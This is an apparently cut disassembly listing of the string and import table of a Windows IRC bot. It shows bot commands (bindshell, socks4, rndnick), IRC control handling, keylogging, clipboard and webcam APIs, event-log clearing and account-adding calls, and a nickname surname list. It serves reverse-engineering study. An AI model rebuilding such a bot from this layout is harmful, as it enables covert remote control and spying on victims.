0aHttpstop db 'httpstop',0 ; DATA XREF: sub_401B66+1032o align 4 dword_42DCF8 dd 234032Dh, 676F6C72h, 2646E69h, 2D03haRloginstop db 'rloginstop',0 ; DATA XREF: sub_401B66+1009o align 4 dword_42DD14 dd 234032Dh, 6B636F73h, 3023473h, 2DhaSocks4stop db 'socks4stop',0 ; DATA XREF: sub_401B66+FE0o align 10h aS4 db 's4',0 ; DATA XREF: sub_401B66+FCBo align 4 aSocks4 db 'socks4',0 ; DATA XREF: sub_401B66+FB6o align 4 dword_42DD3C dd 234032Dh, 646E6962h, 6C656873h, 2D03026Ch, 0aServer_0 db 'Server',0 ; DATA XREF: sub_401B66+FA6o ; sub_401B66+FF9o ... align 4 aBindshellstop db 'bindshellstop',0 ; DATA XREF: sub_401B66+F8Do align 4 aBd db 'bd',0 ; DATA XREF: sub_401B66+F78o align 4 aBindshell db 'bindshell',0 ; DATA XREF: sub_401B66+F63o align 4 aUnsec db 'unsec',0 ; DATA XREF: sub_401B66+F4Eo align 10h aUnsecure db 'unsecure',0 ; DATA XREF: sub_401B66+F39o align 4 aSec db 'sec',0 ; DATA XREF: sub_401B66+F24o ; sub_401B66+2D22o aSecure db 'secure',0 ; DATA XREF: sub_401B66+F0Fo ; sub_401B66+2D11o align 4 aSt db 'st',0 ; DATA XREF: sub_401B66+EFAo align 4 aSpeedtest db 'speedtest',0 ; DATA XREF: sub_401B66+EE5o align 4 aDed db 'ded',0 ; DATA XREF: sub_401B66+ED0o aDedication db 'dedication',0 ; DATA XREF: sub_401B66+EBBo align 4 aVer db 'ver',0 ; DATA XREF: sub_401B66+EA6o aVersion db 'version',0 ; DATA XREF: sub_401B66+E91o aLo db 'lo',0 ; DATA XREF: sub_401B66+E7Co align 4 aLogout db 'logout',0 ; DATA XREF: sub_401B66+E67o align 10h aD: ; DATA XREF: sub_401B66+E52o ; .packed:0043A8ECo unicode 0, <d>,0 aDie db 'die',0 ; DATA XREF: sub_401B66+E3Do aRn db 'rn',0 ; DATA XREF: sub_401B66+E28o align 4 aRndnick db 'rndnick',0 ; DATA XREF: sub_401B66+E10o a63 db '63',0 ; DATA XREF: sub_401B66+CDFo align 4 asc_42DDE8: ; DATA XREF: sub_401B66+CB7o unicode 0, <)>,0 aChr db '$chr(',0 ; DATA XREF: sub_401B66+C7Do align 4 aServer_1 db '$server',0 ; DATA XREF: sub_401B66+C72o aRndnick_0 db '$rndnick',0 ; DATA XREF: sub_401B66+C61o align 4 aChan db '$chan',0 ; DATA XREF: sub_401B66+C45o align 10h aUser_0 db '$user',0 ; DATA XREF: sub_401B66+C34o align 4 aMe db '$me',0 ; DATA XREF: sub_401B66+C22o aD_0 db '$%d',0 ; DATA XREF: sub_401B66+BB4o aD_1 db '$%d-',0 ; DATA XREF: sub_401B66+AFEo align 4 aHi db 'hi',0 ; DATA XREF: sub_401B66+A20o align 4 a4_0: ; DATA XREF: sub_401B66+A08o unicode 0, <4>,0 unk_42DE30 db 2Dh ; - ; DATA XREF: sub_401B66+9E5o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFailedByUn db '- Chat failed by unauthorized user: %s.',0 align 4 unk_42DE64 db 2Dh ; - ; DATA XREF: sub_401B66+9D4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatAlreadyAct db '- Chat already active with user: %s.',0 align 4 unk_42DE94 db 2Dh ; - ; DATA XREF: sub_401B66+9AEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSta_32 db '- Failed to start chat thread, error: <%d>.',0 align 4 unk_42DECC db 2Dh ; - ; DATA XREF: sub_401B66+955o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aChatFromUserS_ db '- Chat from user: %s.',0 align 4 aChat db 'CHAT',0 ; DATA XREF: sub_401B66+8C1o align 8 unk_42DEF8 db 2Dh ; - ; DATA XREF: sub_401B66+8A4o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFa db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0 align 4 dword_42DF3C dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h ; DATA XREF: sub_401B66+874o dd 0A0Dh dword_42DF54 dd 4E495001h, 47hdword_42DF5C dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h ; DATA XREF: sub_401B66+835o dd 0D017325h, 0Ah dword_42DF78 dd 52455601h, 4E4F4953h, 1dword_42DF84 dd 23h ; sub_40C8F1+1Bo unk_42DF88 db 2Dh ; - ; DATA XREF: sub_401B66+6F8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceiveFileSFr db '- Receive file: ',27h,'%s',27h,' from user: %s.',0 align 4 aS_2 db '%s',0 ; DATA XREF: sub_401B66+67Fo ; sub_401B66+8FEo ... align 4 aSend_0 db 'SEND',0 ; DATA XREF: sub_401B66+658o align 4 dword_42DFC4 dd 43434401h, 0 dword_42DFCC dd 323333h ; sub_401B66+A42o ... aNotice db 'NOTICE',0 ; DATA XREF: sub_401B66+59Eo ; sub_409982+Fo align 4 aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_401B66+592o ; sub_409982+16o unk_42DFE0 db 2Dh ; - ; DATA XREF: sub_401B66+53Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedOut db 'User: %s logged out.',0 align 4 unk_42E004 db 2Dh ; - ; DATA XREF: sub_401B66+524o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChanne_0 db 'Joined channel: %s.',0 a353 db '353',0 ; DATA XREF: sub_401B66+4F3o aQuit db 'QUIT',0 ; DATA XREF: sub_401B66+4B2o ; sub_40F23F+5B6o align 10h aPart db 'PART',0 ; DATA XREF: sub_401B66+4A1o ; sub_401B66+55Eo align 4 aSS db ':%s%s',0 ; DATA XREF: sub_401B66+47Co align 10h aNick db 'NICK',0 ; DATA XREF: sub_401B66+381o align 4 aNoticeSS db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+32Fo ; sub_401B66+582o unk_42E058 db 2Dh ; - ; DATA XREF: sub_401B66+316o ; sub_401B66+2E73o ... db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedO_0 db 'User %s logged out.',0 aKick db 'KICK',0 ; DATA XREF: sub_401B66+2BDo align 10h aNickS db 'NICK %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+27Fo ; sub_401B66+7B1Co ... align 4 a433 db '433',0 ; DATA XREF: sub_401B66+257o ; sub_417D1D:loc_417D92o a@: ; DATA XREF: sub_401B66+22Co unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_401B66+21Co a005 db '005',0 ; DATA XREF: sub_401B66+207o a001 db '001',0 ; DATA XREF: sub_401B66+1F2o aJoinSS db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1D6o ; sub_401B66+36Eo ... align 10h aPongS db 'PONG %s',0Dh,0Ah,0 ; DATA XREF: sub_401B66+1B5o align 4 aPing db 'PING',0 ; DATA XREF: sub_401B66+19Bo ; sub_417D1D+4Eo align 4 asc_42E0C4: ; DATA XREF: sub_401B66+18Co ; sub_401B66+7C2Fo unicode 0, <!>,0 asc_42E0C8: ; DATA XREF: sub_401B66+A8o ; sub_401B66+DB4o ... unicode 0, < >,0 asc_42E0CC db ' :',0 ; DATA XREF: sub_401B66+86o ; sub_401B66:loc_402600o align 10h aSSS_0 db '%s %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_409982+58o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_409A1D+C7Fo align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_409A1D+C77o aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_409A1D:loc_40A687o align 10h aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_409A1D+C15o align 10h aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_409A1D+C08o align 10h aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_409A1D+BFBo align 10h aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_409A1D+BEEo align 10h aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_409A1D+BE1o align 10h aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_409A1D+BD9o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_409A1D:loc_40A5E9o align 10h aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_409A1D+B97o align 10h aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_409A1D+B8Fo align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_409A1D:loc_40A59Fo aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_409A1D+B3Do align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_409A1D+B30o align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_409A1D+B23o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_409A1D+B1Bo aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_409A1D:loc_40A52Bo aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_409A1D+AD9o align 10h aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_409A1D+AD1o align 10h aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_409A1D:loc_40A4E1o align 10h aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_409A1D+A8Fo align 10h aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_409A1D+A87o align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_409A1D:loc_40A497o align 4 aNetwkstagetinf db 'NetWkstaGetInfo',0 ; DATA XREF: sub_409A1D+9F9o aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_409A1D+9ECo ; sub_418D6C+54o align 4 aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_409A1D+9DFo align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_409A1D+9D2o aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_409A1D+9C5o align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_409A1D+9B8o align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_409A1D+9ABo align 10h aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_409A1D+99Eo align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_409A1D+991o align 4 aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_409A1D+984o align 4 aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_409A1D+977o aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_409A1D+96Fo aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_409A1D:loc_40A37Bo ; sub_418D6C+47o align 10h aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409A1D+921o align 10h aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409A1D+914o aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409A1D+90Co align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_409A1D:loc_40A31Co align 4 aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_409A1D+8D2o align 4 aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_409A1D+860o aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_409A1D+853o align 10h aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_409A1D+846o align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_409A1D+839o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_409A1D+82Co align 4 aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_409A1D+81Fo align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_409A1D+812o align 10h aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_409A1D+805o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_409A1D+7F8o aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_409A1D+7F0o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_409A1D:loc_40A1FCo aClosesocket db 'closesocket',0 ; DATA XREF: sub_409A1D+6A6o aGetpeername db 'getpeername',0 ; DATA XREF: sub_409A1D+699o aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_409A1D+68Co align 10h aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_409A1D+67Fo align 10h aGethostname db 'gethostname',0 ; DATA XREF: sub_409A1D+672o aGetsockname db 'getsockname',0 ; DATA XREF: sub_409A1D+665o aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_409A1D+658o align 4 aAccept db 'accept',0 ; DATA XREF: sub_409A1D+64Bo align 4 aListen db 'listen',0 ; DATA XREF: sub_409A1D+63Eo align 4 aSelect db 'select',0 ; DATA XREF: sub_409A1D+631o align 4 aBind db 'bind',0 ; DATA XREF: sub_409A1D+629o align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_409A1D+617o align 10h aRecv db 'recv',0 ; DATA XREF: sub_409A1D+60Ao align 4 aSendto db 'sendto',0 ; DATA XREF: sub_409A1D+5FDo align 10h aNtohl db 'ntohl',0 ; DATA XREF: sub_409A1D+5E3o align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_409A1D+5D6o align 10h aHtonl db 'htonl',0 ; DATA XREF: sub_409A1D+5C9o align 4 aHtons db 'htons',0 ; DATA XREF: sub_409A1D+5BCo align 10h aInet_addr db 'inet_addr',0 ; DATA XREF: sub_409A1D+5AFo align 4 aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_409A1D+5A2o align 4 aConnect db 'connect',0 ; DATA XREF: sub_409A1D+595o aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_409A1D+588o aSocket db 'socket',0 ; DATA XREF: sub_409A1D+57Bo align 4 aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_409A1D+56Eo align 10h aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_409A1D+561o aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_409A1D+554o align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_409A1D+547o align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_409A1D+53Ao align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_409A1D+52Do align 4 aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_409A1D+525o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_409A1D+514o align 10h aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_409A1D+4A1o align 10h aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_409A1D+494o align 4 aBitblt db 'BitBlt',0 ; DATA XREF: sub_409A1D+487o align 4 aSelectobject db 'SelectObject',0 ; DATA XREF: sub_409A1D+47Ao align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_409A1D+46Do align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_409A1D+460o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_409A1D+453o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_409A1D+446o align 10h aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_409A1D+43Eo align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_409A1D:loc_409E4Ao align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_409A1D:loc_409E22o align 4 aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_409A1D+3ADo align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_409A1D+3A0o aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_409A1D+393o align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_409A1D+386o align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_409A1D+379o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_409A1D+36Co align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_409A1D+35Fo align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_409A1D:loc_409D74o align 4 aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_409A1D+327o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_409A1D+31Ao align 4 aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_409A1D:loc_409D2Fo align 10h aCleareventloga db 'ClearEventLogA',0 ; DATA XREF: sub_409A1D+2C6o align 10h aOpeneventloga db 'OpenEventLogA',0 ; DATA XREF: sub_409A1D+2B9o align 10h aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_409A1D+2ACo aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_409A1D+29Fo aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_409A1D+292o align 10h aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_409A1D+285o align 10h aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_409A1D+278o aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_409A1D+270o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_409A1D:loc_409C7Co align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_409A1D+21Ao aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_409A1D+20Do align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_409A1D+200o aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_409A1D:loc_409C15o align 4 aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_409A1D+1A0o align 4 aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_409A1D+193o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_409A1D+186o align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_409A1D+179o align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_409A1D+16Co align 4 aIswindow db 'IsWindow',0 ; DATA XREF: sub_409A1D+15Fo align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_409A1D+152o aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_409A1D+14Ao align 10h aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_409A1D:loc_409B52o ; sub_4256B1+Do align 4 aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_409A1D:loc_409B25o align 4 aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_409A1D+A0o align 10h aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_409A1D+93o aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_409A1D+86o aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_409A1D+79o align 4 aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_409A1D+6Co aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_409A1D+5Fo aModule32first db 'Module32First',0 ; DATA XREF: sub_409A1D+52o align 10h aProcess32next db 'Process32Next',0 ; DATA XREF: sub_409A1D+45o align 10h aProcess32first db 'Process32First',0 ; DATA XREF: sub_409A1D+38o align 10h aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_409A1D+2Bo align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_409A1D+23o align 4 aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_409A1D+Ao align 4 unk_42E9CC db 2Dh ; - ; DATA XREF: sub_40A6D9+2F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aDllTestComplet db 'DLL test complete.',0 align 4 aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+2CCo align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+298o aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+264o align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+230o align 4 aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+1FCo align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+1C8o aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+194o align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+160o align 4 aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+12Co align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+F8o aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+C4o align 4 aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+90o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+5Co aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_40A6D9+28o align 4 a_: ; DATA XREF: sub_40D86F+13o ; sub_4101B7+24Co unicode 0, <.>,0 unk_42EB5C db 2Dh ; - ; DATA XREF: sub_40AA3C:loc_40AB0Do db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aNotSupportedBy db 'not supported by this system',0 align 4 unk_42EB8C db 2Dh ; - ; DATA XREF: sub_40AA3C:loc_40AADBo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aUnableToAlloca db 'unable to allocate ARP cache',0 align 4 unk_42EBBC db 2Dh ; - ; DATA XREF: sub_40AA3C:loc_40AA91o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheIsEmpt db 'ARP cache is empty',0 align 10h unk_42EBE0 db 2Dh ; - ; DATA XREF: sub_40AA3C+45o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aErrorGettingAr db 'error getting ARP cache: %d',0 aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40AB14+46o ; sub_40BE71+38o ... aReal db 'real',0 ; DATA XREF: sub_40AF23+Fr align 10h dd 0 dword_42EC24 dd 0 off_42EC28 dd offset sub_40ABBD ; DATA XREF: sub_40AF23+4Ar aConst db 'const',0 align 8 dd 1, 40AC29h, 7474656Ch, 7265h, 0 dd 2, 40AC87h, 706D6F63h, 2 dup(0) dd 3, 40ACD4h, 6E756F63h, 797274h, 0 dd 4, 40AD43h, 736Fh, 2 dup(0) dd 5, 40ADB8h off_42EC90 dd offset aAbdulrazak ; DATA XREF: sub_40ABBD+20r ; "Abdulrazak" dd offset aAckerman ; "Ackerman" dd offset aAdams ; "Adams" dd offset aAddison ; "Addison" dd offset aAdelstein ; "Adelstein" dd offset aAdibe ; "Adibe" dd offset aAdorno ; "Adorno" dd offset aAhlers ; "Ahlers" dd offset aAlavi ; "Alavi" dd offset aAlcorn ; "Alcorn" dd offset aAlda ; "Alda" dd offset aAleks ; "Aleks" dd offset aAllison ; "Allison" dd offset aAlongi ; "Alongi" dd offset aAltavilla ; "Altavilla" dd offset aAltenberger ; "Altenberger" dd offset aAltenhofen ; "Altenhofen" dd offset aAmaral ; "Amaral" dd offset aAmatangelo ; "Amatangelo" dd offset aAmeer ; "Ameer" dd offset aAmsden ; "Amsden" dd offset aAnand ; "Anand" dd offset aAndel ; "Andel" dd offset aAndo ; "Ando" dd offset aAndrelus ; "Andrelus" dd offset aAndron ; "Andron" dd offset aAnfinrud ; "Anfinrud" dd offset aAnsley ; "Ansley" dd offset aAnthony ; "Anthony" dd offset aAntos ; "Antos" dd offset aArbia ; "Arbia" dd offset aArduini ; "Arduini" dd offset aArellano ; "Arellano" dd offset aAristotle ; "Aristotle" dd offset aArjas ; "Arjas" dd offset aArky ; "Arky" dd offset aAtkins ; "Atkins" dd offset aAugustus ; "Augustus" dd offset aAurelius ; "Aurelius" dd offset aAxelrod ; "Axelrod" dd offset aAxworthy ; "Axworthy" dd offset aAyiemba ; "Ayiemba" dd offset aAykroyd ; "Aykroyd" dd offset aAyling ; "Ayling" dd offset aAzima ; "Azima" dd offset aBachmuth ; "Bachmuth" dd offset aBackus ; "Backus" dd offset aBady ; "Bady" dd offset aBaglivo ; "Baglivo" dd offset aBagnold ; "Bagnold" dd offset aBailar ; "Bailar" dd offset aBakanowsky ; "Bakanowsky" dd offset aBaleja ; "Baleja" dd offset aBallatori ; "Ballatori" dd offset aBallew ; "Ballew" dd offset aBaltz ; "Baltz" dd offset aBanta ; "Banta" dd offset aBarabesi ; "Barabesi" dd offset aBarajas ; "Barajas" dd offset aBaranczak ; "Baranczak" dd offset aBaranowska ; "Baranowska" dd offset aBarberi ; "Barberi" dd offset aBarbetti ; "Barbetti" dd offset aBarneson ; "Barneson" dd offset aBarnett ; "Barnett" dd offset aBarriola ; "Barriola" dd offset aBarry ; "Barry" dd offset aBartholomew ; "Bartholomew" dd offset aBartolome ; "Bartolome" dd offset aBartoo ; "Bartoo" dd offset aBasavappa ; "Basavappa" dd offset aBashevis ; "Bashevis" dd offset aBatchelder ; "Batchelder" dd offset aBaumiller ; "Baumiller" dd offset aBayles ; "Bayles" dd offset aBayo ; "Bayo" dd offset aBeacon ; "Beacon" dd offset aBeal ; "Beal" dd offset aBean ; "Bean" dd offset aBeckman ; "Beckman" dd offset aBeder ; "Beder" dd offset aBedford ; "Bedford" dd offset aBehenna ; "Behenna" dd offset aBelanger ; "Belanger" dd offset aBelaoussof ; "Belaoussof" dd offset aBelfer ; "Belfer" dd offset aBelinCollart ; "Belin-Collart" dd offset aBellavance ; "Bellavance" dd offset aBellhouse ; "Bellhouse" dd offset aBellini ; "Bellini" dd offset aBelloc ; "Belloc" dd offset aBenedictDye ; "Benedict-Dye" dd offset aBergson ; "Bergson" dd offset aBerkeJenkins ; "Berke-Jenkins" dd offset aBernardo ; "Bernardo" dd offset aBernassola ; "Bernassola" dd offset aBernston ; "Bernston" dd offset aBerrizbeitia ; "Berrizbeitia" dd offset aBetti ; "Betti" dd offset aBeynart ; "Beynart" dd offset aBiagioli ; "Biagioli" dd offset aBickel ; "Bickel" dd offset aBinion ; "Binion" dd offset aBir ; "Bir" dd offset aBisema ; "Bisema" dd offset aBisho ; "Bisho" dd offset aBlackbourn ; "Blackbourn" dd offset aBlackwell ; "Blackwell" dd offset aBlagg ; "Blagg" dd offset aBlakemore ; "Blakemore" dd offset aBlanke ; "Blanke" dd offset aBliss ; "Bliss" dd offset aBlizard ; "Blizard" dd offset aBloch ; "Bloch" dd offset aBloembergen ; "Bloembergen" dd offset aBloemhof ; "Bloemhof" dd offset aBloxham ; "Bloxham" dd offset aBlyth ; "Blyth" dd offset aBolger ; "Bolger" dd offset aBolick ; "Bolick" dd offset aBollinger ; "Bollinger" dd offset aBologna ; "Bologna" dd offset aBoner ; "Boner" dd offset aBonham ; "Bonham" dd offset aBoniface ; "Boniface" dd offset aBontempo ; "Bontempo" dd offset aBook ; "Book" dd offset aBookbinder ; "Bookbinder" dd offset aBoone ; "Boone" dd offset aBoorstin ; "Boorstin" dd offset aBorack ; "Borack" dd offset aBorden ; "Borden" dd offset aBossi ; "Bossi" dd offset aBothman ; "Bothman" dd offset aBotosh ; "Botosh" dd offset aBoudin ; "Boudin" dd offset aBoudrot ; "Boudrot" dd offset aBourneuf ; "Bourneuf" dd offset aBowers ; "Bowers" dd offset aBoxer ; "Boxer" dd offset aBoyajian ; "Boyajian" dd offset aBoyes ; "Boyes" dd offset aBoyland ; "Boyland" dd offset aBoym ; "Boym" dd offset aBoyne ; "Boyne" dd offset aBracalente ; "Bracalente" dd offset aBradac ; "Bradac" dd offset aBradach ; "Bradach" dd offset aBrecht ; "Brecht" dd offset aBreed ; "Breed" dd offset aBrenan ; "Brenan" dd offset aBrennan ; "Brennan" dd offset aBrewer ; "Brewer" dd offset aBrewer ; "Brewer" dd offset aBridgeman ; "Bridgeman" dd offset aBridges ; "Bridges" dd offset aBrinton ; "Brinton" dd offset aBritz ; "Britz" dd offset aBroca ; "Broca" dd offset aBrook ; "Brook" dd offset aBrzycki ; "Brzycki" dd offset aBuchan ; "Buchan" dd offset aBudding ; "Budding" dd offset aBullard ; "Bullard" dd offset aBunton ; "Bunton" dd offset aBurden ; "Burden" dd offset aBurdzy ; "Burdzy" dd offset 